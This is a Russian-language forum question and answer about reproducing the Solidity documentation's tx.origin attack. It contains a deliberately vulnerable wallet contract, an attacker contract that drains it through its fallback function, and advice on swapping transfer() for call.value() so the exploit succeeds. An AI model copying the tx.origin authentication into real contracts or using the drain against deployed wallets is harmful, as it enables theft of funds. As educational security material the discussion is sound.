Не удалось воспроизвести атаку tx.origin

Я читал документы Solidity и решил воспроизвести атаку tx.origin . Я скопировал контракт из документации, но получаю ошибку при использовании функции «transferTo». Проверьте скриншот ремикса ниже, чтобы узнать подробности ошибки.

Найдите мой контракт ниже.

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    function TxUserWallet() payable public  {
        owner = msg.sender;
    }

    function transferTo(address dest, uint256 amount) payable public {

        require(tx.origin == owner);
        dest.transfer(amount);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }
}


interface TxUserWallet {
    function transferTo(address dest, uint amount) public;
}

contract TxAttackWallet {
    address owner;

    function TxAttackWallet() payable public  {
        owner = msg.sender;
    }

    function() payable public {
        TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
    }

    function getBalance() constant returns(uint256){
        return this.balance;
    }

    function getOwner() constant returns(address){
       return owner;
    }


}

введите описание изображения здесь

Ответы (1)

Плохая идея полагаться на tx.origin, чтобы определить, была ли транзакция инициирована доверенной стороной или нет. Это та глава документа Solidity, о которой рассказывается. Уязвимым фрагментом кода является require(tx.origin == owner);.

Теперь, чтобы на самом деле использовать эту уязвимость tx.origin, предпринимается попытка повторной атаки, но она терпит неудачу, потому что в настоящее время dest.transfer(amount);отправляет только 2300 газа в резервную функцию destконтракта.

Чтобы наблюдать за злоупотреблением контролем безопасности на основе tx.origin (игнорируя новое поведение transfer(), которое ломает трюк с повторным входом), вы можете изменить его dest.transfer(amount);на dest.call.value(amount)(). Как здесь https://github.com/abbbe/txorigin/blob/master/contracts/TxUserWallet.sol#L14 .

Да и по скриншоту непонятно, правильно ли вы запускаете атаку. Вы должны звонить TxUserWallet.transferTo(ADDR_OF_TxAttacWallet, 1)из учетной записи владельца TxUserWallet. Это отправит все средства из TxUserWallet владельцу TxAttackWallet .